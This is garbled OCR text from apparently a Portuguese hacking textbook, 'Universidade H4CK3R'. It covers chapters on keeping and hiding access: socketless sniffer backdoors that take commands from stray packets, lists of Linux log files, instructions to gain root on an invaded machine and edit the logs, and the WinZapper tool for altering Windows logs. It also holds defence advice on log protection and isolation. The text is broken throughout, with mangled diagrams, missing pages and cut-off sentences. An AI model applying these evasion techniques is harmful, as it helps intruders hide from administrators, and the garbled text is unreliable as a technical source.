- -- - -- -- - -- - -,
: BackdoorcomSniffer :
Ir+::=
11-
,,
Servidorde e-mail
ServidordeWEB
:-
BROAOCAST
ou
pacotedestinadoa
IP INEXIXTENTE
com
fragmantodecomando
parao BACKDOOR
iI~ I
Host comTraian"Promieuo"
Um trojan ou backdoor e o software cliente rodando no computador do invasor podem comunicar-se com ou por meio de trfego esprio. O hacker envia
pacotes TCP ou UDP a computadores
no existentes na rede, mas dentro da
faixa de IPs aprovada pelo ftrewall. Como no endereada a ningum, a mensagem morre dentro da rede e no se fala mais no assunto. S que o computador
com o backdoor socketless, farejando tudo indiscriminadamente,
capturou o
pacote sem destino e o processou. Simples como roubar doce de criana.
Gateway
,, -- -- ---, '
,
,
,
,
,
I
,'BACKDDDR II
,
I
'- - - - - - - - -'
IAtaque,
defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R I
Atualizando a camuflagem
Um sniffer em modo promscuo, entretanto, ruidoso numa rede e pode ser
facilmente detectvel com ferramentas especiais. Mas nada impede que um sniffer
seja executado em modo exclusivo, farejando apenas o trfego que entra e sai.
Nesse caso, o hacker no envia para a rede pacotes com IPs inexistentes, mas sim
direcionados exatamente para a mquina onde est o backdoor. Mas com um
detalhe: direcionados a portas que no estejam em uso.
Em um computador normal, a pilha TCP/lP simplesmente ignoraria os dados
que chegam a portas
Portas
~ Barramento
inexistentes ou desada Rede
tivadas. Mas em nosso
Portas
caso, o backdoor est
escutando tudo o que , BACKDOOR } L
+-chega em todas elas. So ,'- - - -- -- - - - - -''
virtualmente
65 mil
I
portas TCP e outras 65
Pacote destinado nicamente
mil
UDP que
o
ao Host Trojanizado, com
backdoor ou trojan
fragmento de comando para o
BACKDOORe escolhendo
r
aleatoriamente uma Porta
pode usar para escutar
8
HostcomTroJan"N'o.Promicuo"
o que chega, mesmo
As conexes nao
que a conexo no seja
sao estabelecidas!
(sem SYNIACK)
estabelecida.
- --
- _n:~ U_S:das
Muitos diriam que isso impossvel, que existe a obrigatoriedade de estabelecer um socket para recolher dados de uma porta. Ledo engando. Os sniffers
comuns (mesmo os mais simples) esto a para provar que se pode escutar
trfego mesmo que no seja direcionado ao seu MAC!!!Se no h necessidade
de conexo no protocolo Ethemet, possvel recolher qualquer dado de qualquer porta sem que seja necessrio conectar sockets a elas. Essa tcnica chamada de Layer-O Listening.
Como veremos mais adiante, possvel colocar uma camada adicional entre
quaisquer duas camadas da pilha OSI (ou TCP/IP,na prtica) e manipular dados l.
Essa camada pode, inclusive, ficar nas camadas de mais baixo nvel, ou mesmo
entre a pilha e a interface de rede tlsica (da o nome Layer-O,uma vez que a camada
tlsica a l).As ferramentas que normalmente usamos para detectar, monitorar e
barrar conexes e V1rtlS- netstat, nbtstat, firewallse antiv1rtlslocaisetc, etc, etc. esto posicionados antes da pilha TCP/lP (ou seja, a pilha fica sempre entre a
3281
Ataque, defesa e contra-ataque:
Manuteno r
Universidade 3 ano
13291
]Ataque,
defesa e contra-ataque:
Manuteno
I Universidade H4CK3R I
dadeira.
Mas transcenden-
330 I
Ataque, defesa e contra-ataque:
Manuteno
Universidade 3 ano
Defesa e Contra-ataque
Defender-se das ameaas mostradas neste captulo no muito fcil. H trojans
que, mesmo sendo facilmente detectveis, so extremamente difceis ou mesmo
impossveis de serem removidos. Na experincia dos autores, houve pelo menos
duas situaes (um Wmdows 98 SEe um Wmdows 2000) em que nem a recuperao da imagem original de instalao, distribuda nos CDs que vieram junto com o
computador, removeu o trojan. Houve a necessidade de refazer as parties (apagamento e criao) e formatar o disco rgido, alm de usar uma ferramenta de
apagamento total para remover quaisquer traos do software malicioso.
Em alguns casos, possvel monitorar as conexes e, uma vez detectada a
presena do invasor, rastre-Ias at se chegar ao culpado. No hesite em contar
com a polcia e com um bom time de advogados caso alguma ao do hacker
malicioso possa ser enquadrada como crime.
IAtaque,
defesa e contra-ataque:
1331 I
Manute~
I Universidade
H4CK3R I
13321
Ataque, defesa e contra-ataque:
Manuteno
Universidade 30 ano
13331
Ataque, defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R I
13341
Ataque, defesae contra-ataque: Manuteno[
Universidade 3 ano
que podem ser vistas como parania ou mesmo bobagem por administradores experientes. MasPOdem ser levadasa cabo caso se precise de segurana mxima.
Em primeiro lugar, deve-se aplicar toda a cartilha e fazer a configurao de
segurana normal que todo sistema deve ter. Isso pr-requisito.
Depois, deve-se restringir o acesso pilha TCP/lP (em cada mquina da rede!).
Apenas programas autorizados podem ter acesso pilha, e mesmo os autorizados devem ser verificados quanto sua assinatura MD5. Qualquer desvio deve
ser bloqueado e informado ao administrador.
No caso de servidores, cada um dos programas deve ser executado com um
usurio diferente, e cada usurio desses deve ter acesso a um conjunto diferente de
diretrios, arquivos, bibliotecas, num ambiente que, em Unix, chama-se chrooted.
Mesmo o diretrio temporrio (jtmp ou C\WINDOWS\TEMP)deve ser dividido
por processo (jtmp/apache, /tmp/sendmail, /tmp/popd, /tmp/tripwire, etc.) e com
.
mo que uma falha seja descoberta e explorada em um dos aplicativos, ele estar
confmado em seu ambiente prprio e no dar acesso a outras partes do sistema.
Depois, bloqueia-se o acesso a todas as bibliotecas e cria-se imagens separadas
delas para aplicativo - e restritas! Por exemplo, em uma mquina WinNT pode-se
bloquear completamente todas as DLLs do sistema e depois criar imagens com
RUNASpara cada usurio (que, como vimos, representa um nico programa).
Por ltimo, uma idia montar todas as LANsinternas como VPNs criptografadas
por PGP (ou outro formato qualquer). Alm de bloquear trfego vindo de fora
(porque no bate com a criptografia e as chaves usadas), possvel conceber
polticas de acesso fortemente protegidas. Apenas usurios e mquinas com a
chave correta podem acessar determinados recursos - dificlimocontornar tal
esquema. Apenas os servidores externos (como seu servidorWeb) ficaro fora da
VPN e aceitaro conexes TCP/lP no criptografadas.
E, novamente, relembramos: a famlia Win9x no foi desenvolvida para ser
cliente de rede. A pilha TCP/lP e toda a funcionalidade 5MB foi enxertada depois. Portanto, nunca espere confiabilidade e segurana delas. Em uma rede
corporativa segura, nem as estaes podem ser Windows 95/98/Me. Evite-as.
Se for realmente preciso usar Windows como estao de trabalho ou servidor,
use sempre Windows 2000 ou superior.
Beto Guedes
e Ronaldo Bastos.
1335 I
IAtaque,
defesa e contra-ataque:
Manuteno
Ataque, defesa e
contra-ataque:
Evaso
fica cansado"
Provrbio rabe
I Universidade
H4CK3R I
13381
Ataque, defesae contra-ataque: Evaso I
Universidade
3a ano
13391
] Ataque,
defesa e contra-ataque:
Evaso
I Universidade
H4CK3R I
/dev/console
/var/log/secure
/var/log/maillog
/var/log/boot.log
1340 I
Ataque, defesae contra-ataque: EvasoI
Universidade
3a ano
o.10g
boot.log.4 dmesg
htmlaccess.log
o.10g.old cron
iptraf
kdm .10g
apache
cron. 1
boot. 10g
boot .10g.1
cron. 2
cron. 3
boot.log.2
cron. 4
lastlog
mai110g
boot.log.3
cups
maillog.l
mai11og. 2
messages. 4
mai 110g. 3
mysql.log
mysql.log.l.gz
mai11og. 4
messages
messages.l
nagios
netconf.10g
netconf .10g. 3
samba
secure. 4
vtund
spooler
wtmp
scrollkeeper.log
secure
spooler.l wtmp. 1
spooler. 2
secure. 1
secure.2
spoo1er. 3
secure. 3
spoo1er. 4
uucp
1341 I
I
Evaso
I Universidade
H4CK3R
Logue-se como root (ou, em um sistema invadido, consiga acesso a root usando buffer
overflow ou outra tcnica qualquer) e abra os arquivos. Verifique as sintaxes deles.
Maillog registra a atividade de SMIP,IMAPe POP locais (sendmail, postfix, qmail, imapd,
pop3d...). Messages muito importante: registra as mensagens entre processos e entre eles e o keme1. Secure, por outro lado, registra mensagens de acesso privilegiado a
arquivos e processos. Por sua vez, spooler guarda as mensagens oriundas de programas que usam os servios de spool (mail, uucp, news, etc). Mesmo que voc no tenha
mexido com o servidor de SMfP ou POp, prudente verificar tambm os arquivos /
var!log/maillog e /var!log/spool e ter certeza de que, inadvertidamente, voc no disparou algum processo que tenha alterado o logo O mesmo vale para qualquer processo ou arquivo, portanto um cuidado geral no log primordial.
Voltando ao /etc/syslogd.conf,
a linha
# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg
13421
Ataque, defesa e contra-ataque:
Evaso
Universidade
3a ano
13431
I
Evaso
I Universidade
H4CK3R I
13441
Ataque, defesae contra-ataque: Evaso[
Universidade
3a ano
i~ ~ Audlto,las"
~ Audl'o,la s"
~
Audl'o,la
24/612003
24/612003
s".
24/612003
Audlto,las"
Audlto,l. s"
Audl'oda s"
Audl'",la s"
Audl'o,l. s"
# Audl'",la ".
Audlto,lac"
Audlto,lac"
Audl'o,la c"
Audl'",la c"
,fi' Audlto,l. c"
24/612003
19:39:03
19:39:03
19:39:03
IIIIID
19:38:55
19:38:55
19:38:55
19:38:50
19:38:50
19:38:50
19:38:50
19:38:50
19:38:50
19:38:45
19:38:45
19:38:45
19:38:45
Securl',
Securl',
Secu,l'y
Logonde con'a
LogonllogoFF
Logonde con'a
Securl',
Securl'y
Secu,l'y
Secu,lty
Securl',
Securl'y
Securl',
Securl',
Secu,l',
Secu,l',
Securl'y
5ecurl',
Secu,l'y
Logonde con'a
",_IiIi!ffitI.....-
LogonllogoFF
~
Para alterar os logs,
Logonde con'a
~
deve-se usar outras fer~
LogonllogoFF
Logonde con'a
~
Logonllogoff
ramentas, uma vez que
Uso de p,lvllo"
#
o Event Viewer ape#
LogonllogoFf
Logonde con'.
#
nas um visualizador.
#
Monl'ora,o d"
Monl'ora,o d"
H algumas disponMonl'ora,o d"
# Audl'oda".
#
Audl'o,l.
c"
veis em sites de
hackers, mas preciso
fazer alguma pesquisa
para tal. O site NT Security (ntsecurity.nu) oferece uma ferramenta chamada
WinZapper, que permite alterar os logs de servidores Windows NT e 2000.
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
241612003
1345 I
I Ataque,
defesa e contra-ataque:
Evaso
I Universidade
H4CK3R I
13461
Ataque, defesae contra-ataque: Evaso[
Universidade 3a ano
Defesa e Contra-ataque
Algumas medidas podem ser tomadas para impedir ou, pelo menos, dificultar o trabalho de camuflagem dos hackers maliciosos.
Apagamento de logs
Em primeiro lugar, certifique-se periodicamente de que a auditoria do sistema esteja realmente rodando, e os logs sendo criados. Em mquinas Unix, verifique o syslogd; no Windows, o EventLog. H hackers que, em vez de editar os
logs, desligam a auditoria e deixam registros falsos e que no mudam nunca.
Administradores "desligados" e alguns verificadores de integridade de arquivos
so enganados com essa tcnica simples e grosseira.
Em segundo lugar, verifique se quem tem permisso de escrita ou mesmo
leitura dos logs realmente deveria possu-Ia. Apesar de bvio, este cuidado geralmente deixado de lado mesmo por administradores experientes. Utilize a
poltica da mxima restrio possvel. Nesse caso, sempre, menos mais.
Aplicar criptografia a terceira providncia bvia. Ao contrrio das duas
anteriores, normalmente os logs no so criptografados por padro, com ferramentas do prprio sistema. Em vez disso, so necessrios programas de terceiros para a tarefa. Cada sistema operacional possui diversas possibilidades.
Contate seu fornecedor para obter mais informaes.
Outra maneira muito eficaz (mas no to bvia) de proteger os logs gravlos em mdias apenas de leitura. CD-Rs so especialmente teis nessa hora.
possvel que haja problemas de desempenho no acesso a disco, mas os drives
mais modernos j possuem velocidade aceitvel para a tarefa. O fato que os
hackers no conseguiro alterar o log porque isso no fisicamente possvel.
Preparar um servidor especial para armazenar os registros de eventos de
todos os outros computadores tambm um artifcio interessante. Isso cria
diversas camadas de dificuldade para o invasor chegar at, ou mesmo saber
onde esto, os verdadeiros arquivos de registro. Novamente, contate seu fornecedor para conhecer as opes de servidores de logging disponveis para seu
sistema operacional.
Um ltimo truque, que no bloqueia, mas retarda o invasor mais habilidoso,
colocar os logs em locais fora do padro e deixar, nos locais-padro, simulacros. Em se tratando de kiddies, esse expediente simples criar a impresso
falsa de que "limparam a barra", quando na verdade continuam sendo
monitorados.
Camuflagem de conexoes
Para comear, e em consonncia com o que vimos nos captulos anteriores, o
invasor no deve conseguir, de forma alguma, acesso privilegiado ao sistema.
13471
I Ataque,
defesa e contra-ataque:
Evaso
I Universidade
H4CK3R
Root ou administrador, esse acesso deve ser evitado ao mximo. Portanto, aplique as correes do seu fabricante, mantenha senhas difceis, desative servios
no usados, bl bl bl... A velha frmula de sempre, que deve ser aplicada a
qualquer situao.
Conhea o que voc est rodando. Saiba os processos que podem e os que
no deveriam aparecer na lista de tarefas, bem como as conexes que deveriam (ou no) estar estabe1ecidas. Verifique-os periodicamente, mais de uma vez
por dia em casos de suspeita de ataque e mais de uma vez por hora caso o
ataque tenha sido detectado.
Uma ltima dica: o Snort consegue detectar canais de comunicao baseados
em ICMP.Snort x Loki... jogo interessante.
Uma despedida?2
Bem, chegamos ao fmal de nossos estudos formais. emocionante v-Io formado e diplomado. Mas lembre-se que sua educao sobre hackerismo no
termina com o ltimo captulo: veja o que preparamos para voc no CD! Alm
disso, faa todas as experincias do livro e visite todos os sites indicados. E
tambm teste todas as ferramentas sugeridas. Voc ver que so muito poucas,
se comparado ao que h disponvel. V atrs! Aprender a ser "hacker" (ou como
quer que voc chame) um processo contnuo.
Despedimo-nos aqui (lgrimas nos olhos!) e esperamos que possamos nos
encontrar em breve, em outro curso, talvez.
Mas mantenha contato com seus velhos professores! Mande-nos suas sugestes, crticas e colaboraes para este livro.Todos esto convidados a participar.
Escreva mesmo!
Nosso endereo: univh4ck3r@digeratLcom.br.
E no esquea de acessar nosso site em www.digerati.com.br/livro
Um grande abrao, e at mais. Happy Hacking!
2 digno de nota que este livro chegou at aqui sem citar nenhuma vez A arte da guerra: Sun Tzu . No
h publicao moderna que no se aproveite desse venervel exemplo da literatura clssica. Os autores
procuraram fugir do lugar-comum, e portanto decidiram (contrariando sugestes disparadas de todos os
lados) no incluir nenhum trecho do milenar compndio. Entretanto, o livro muito bom e vale a pena ser
lido, de graa e on-line, em www.kimsoft.com/polwar.htm.
3481
Ataque, defesa e contra-ataque:
Evaso r